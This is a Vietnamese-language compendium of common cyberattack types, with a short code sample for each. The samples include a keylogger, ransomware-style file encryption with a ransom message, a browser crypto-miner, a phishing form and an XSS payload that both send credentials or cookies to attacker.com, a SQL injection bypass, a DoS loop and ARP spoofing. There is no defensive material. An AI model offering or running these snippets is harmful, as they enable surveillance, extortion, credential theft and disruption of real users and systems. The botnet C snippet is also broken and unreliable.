



Tổng hợp các kỹ thuật tấn công mạng phổ biến và ví dụ minh họa bằng mã nguồn

1. Malware (Phần mềm độc hại)

Ngôn ngữ lập trình: C++, Python, hoặc JavaScript.

Phương pháp thực hiện: - Dùng phishing dụ người dùng tải file độc hại. - Khai thác lỗ hổng hệ thống để cài malware.

Ví dụ code (Python - Keylogger đơn giản):

```
import pynput
from pynput.keyboard import Key, Listener

def on_press(key):
    with open("log.txt", "a") as f:
        f.write(str(key) + "\n")

with Listener(on_press=on_press) as listener:
    listener.join()
```

Giải thích: Ghi lại tất cả phím người dùng nhấn, lưu vào file `log.txt`.

2. Ransomware (Phần mềm tống tiền)

Ngôn ngữ lập trình: C/C++

Phương pháp thực hiện: - Phát tán qua email hoặc lỗ hổng. - Mã hóa file và đòi tiền chuộc.

Ví dụ code (Python - Mã hóa file):

```
from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher = Fernet(key)

with open("victim_file.txt", "rb") as file:
    file_data = file.read()
    encrypted_data = cipher.encrypt(file_data)
```

```
with open("victim_file.txt", "wb") as file:
    file.write(encrypted_data)

print("File đã bị mã hóa! Trả 1 BTC để lấy key giải mã.")
```

Giải thích: Mã hóa file và ghi đè file gốc. Cần key để khôi phục.

3. Adware (Phần mềm quảng cáo độc hại)

Ngôn ngữ: JavaScript

Phương pháp: Cài cùng phần mềm miễn phí, hiển thị quảng cáo.

Code:

```
setInterval(() => {
    window.open("http://fake-ad.com", "_blank", "width=500,height=500");
}, 5000);
```

Giải thích: Mở popup quảng cáo mỗi 5 giây.

4. Crypto-jacking (Đào tiền điện tử trái phép)

Ngôn ngữ: JavaScript / C++

Phương pháp: Nhúng mã đào vào trang web.

Code:

```
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');
    miner.start();
</script>
```

Giải thích: Sử dụng CPU người truy cập đào Monero.

5. Phishing (Lừa đảo)

Ngôn ngữ: HTML, CSS, JavaScript

Phương pháp: Tạo trang web giả mạo gửi email dụ người dùng.

Code:

```
<form action="http://attacker.com/steal" method="POST">
  <label>Tên đăng nhập:</label>
  <input type="text" name="username"><br>
  <label>Mật khẩu:</label>
  <input type="password" name="password"><br>
  <input type="submit" value="Đăng nhập">
</form>
```

Giải thích: Dữ liệu nhập vào được gửi đến hacker.

6. Spear Phishing (Lừa đảo nhắm mục tiêu)

Ngôn ngữ: HTML, CSS, JS

Phương pháp: Email cá nhân hóa, giả danh CEO.

Ví dụ email:

```
Từ: ceo@congtty.com
Chủ đề: Cần thông tin gấp
Nội dung: Vui lòng cung cấp mật khẩu tại: http://fake-login.com
```

Giải thích: Lừa người dùng truy cập trang phishing.

7. SQL Injection

Ngôn ngữ: Python

Phương pháp: Chèn câu lệnh SQL vào form.

Code:

```
import requests

url = "http://example.com/login"
payload = {"username": "admin' OR '1'='1", "password": ""}
```

```
response = requests.post(url, data=payload)
print(response.text)
```

Giải thích: Bypass xác thực, truy cập không cần mật khẩu.

8. Cross-Site Scripting (XSS)

Ngôn ngữ: JavaScript

Phương pháp: Chèn JS vào trang web.

Code:

```
<script>
    window.location = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
```

Giải thích: Truy xuất cookie người dùng, gửi về hacker.

9. Botnet

Ngôn ngữ: C/C++

Phương pháp: Cài malware điều khiển thiết bị.

Code:

```
#include <stdio.h>
#include <sys/socket.h>
int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    connect(sock, "attacker.com", 4444);
    // Nhận lệnh từ máy chủ
}
```

Giải thích: Thiết bị kết nối C&C, bị điều khiển.

10. Denial-of-Service (DoS)

Ngôn ngữ: Python

Phương pháp: Gửi nhiều request tổng đổ.

Code:

```
import socket

target = "example.com"
port = 80
while True:
    s = socket.socket()
    s.connect((target, port))
    s.send(b"GET / HTTP/1.1\r\n")
```

Giải thích: Gửi liên tục request để server tắc nghẽn.

11. Man-in-the-Middle (MITM)

Ngôn ngữ: Python

Phương pháp: ARP spoofing, chặn lưu lượng.

Code:

```
from scapy.all import *

def spoof(target_ip, spoof_ip):
    packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip)
    send(packet, verbose=False)

spoof("192.168.1.10", "192.168.1.1")
```

Giải thích: Giả gateway, chặn dữ liệu truyền.

12. Session Hijacking

Ngôn ngữ: JavaScript/Python

Phương pháp: Trích xuất session ID qua XSS/MITM.

Ví dụ: Dùng mã XSS (như mục 8).

Giải thích: Dùng session ID để truy cập tài khoản người dùng.

13. Credential Reuse

Ngôn ngữ: Python

Phương pháp: Dùng danh sách tài khoản mật khẩu rò rỉ để đăng nhập.

Code:

```
import requests

url = "http://example.com/login"
creds = {"username": "admin", "password": "password123"}
response = requests.post(url, data=creds)
print(response.text)
```

Giải thích: Tự động thử tên đăng nhập - mật khẩu bị rò rỉ.

14. Insider Threats (Mối đe dọa từ bên trong)

Ngôn ngữ: Tuỳ theo mục đích, có thể không dùng code.

Phương pháp: Nhân viên cố ý rò rỉ dữ liệu.

Ví dụ: Gửi file nhạy cảm qua email hoặc dùng keylogger (xem mục 1).

Giải thích: Mối nguy từ người trong tổ chức, khó phát hiện.
